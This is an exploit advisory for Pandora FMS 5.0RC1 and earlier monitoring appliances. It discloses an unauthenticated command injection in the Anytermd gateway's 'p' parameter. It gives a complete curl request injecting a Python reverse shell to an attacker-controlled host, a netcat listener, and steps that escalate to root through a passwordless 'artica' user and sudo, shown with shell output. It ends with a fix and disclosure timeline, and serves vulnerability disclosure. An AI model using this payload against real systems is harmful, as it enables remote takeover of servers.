Pandora Fms 5.0RC1 - Remote Command Injection



-----------

Author:
-----------

xistence < xistence[at]0x90[.]nl >

-------------------------
Affected products:
-------------------------

Pandora FMS 5.0RC1 and below

-------------------------
Affected vendors:
-------------------------

Pandora FMS
http://pandorafms.com/

-------------------------
Product description:
-------------------------

Enterprise IT Monitoring for Networks, Applications, Servers and Virtual
Infrastructure

----------
Details:
----------

[ 0x01 - Remote Code Execution ]

The Pandora 4.0.3 / 4.1 / 5.0 RC1 appliances are prone to security
vulnerabilities.
The Anytermd daemon used for the SSH/Telnet gateway on TCP port 8022/8023
is vulnerable to command injection in the "p" POST parameter,
which allows any unauthenticated attacker to execute arbitrary commands
with the rights of the "pandora" user.

The 4.1 and 5.0 RC1 appliances also fail to set a password for the "artica"
user during installation to the harddrive. It's not possible
to gain SSH access using this user if there's no password set. However it's
possible to use the above vulnerability to "su" to the "artica" user and
from there "sudo"
to the "root" user as "sudo" won't ask for a password either.
This issue doesn't exist in the 4.0.3 appliance.

Below are the steps to reproduce this. Gaining a shell as "pandora" is
possible on all Pandora versions,
the other privilege escalation steps are only on 4.1 / 5.0.


# Open a linux/osx terminal and run a netcat listener like this:

nc -vl 8888

# Execute the following curl command, replace "123.123.123.123" with the IP
of the Pandora server and "321.321.321.321" with the machine running netcat.
curl -i -s -k  -X 'POST' \
    -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
    --data-binary $'a=open&p=%60python -c \'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"321.321.321.321\",8888));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);\'%60' \
    'http://123.123.123.123:8022/anyterm-module'


# In the netcat shell you'll receive a shell as user "pandora". Use the
following command to spawn a pty: python -c 'import
pty;pty.spawn("/bin/bash")'
# Change user to artica by doing a "su - artica". From here do a "sudo -s"
to gain a root shell. Below is how it should look like.

$ nc -vl 8888
python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.1$ su - artica
su - artica
-bash-4.1$ id
id
uid=501(artica) gid=501(artica) groups=501(artica)
-bash-4.1$ sudo -s
sudo -s
[root@localhost artica]# id
id
uid=0(root) gid=0(root) groups=0(root)
[root@localhost artica]#


-----------
Solution:
-----------

Upgrade to Pandora FMS 5.0 final or later

--------------
Timeline:
--------------

04-10-2013 - Issues discovered and vendor notified
04-10-2013 - Reply from vendor stating they will fix it asap
10-10-2013 - Reply from vendor that they fixed the issue
04-11-2013 - Release of Pandora FMS 5.0 final
29-01-2014 - Public disclosure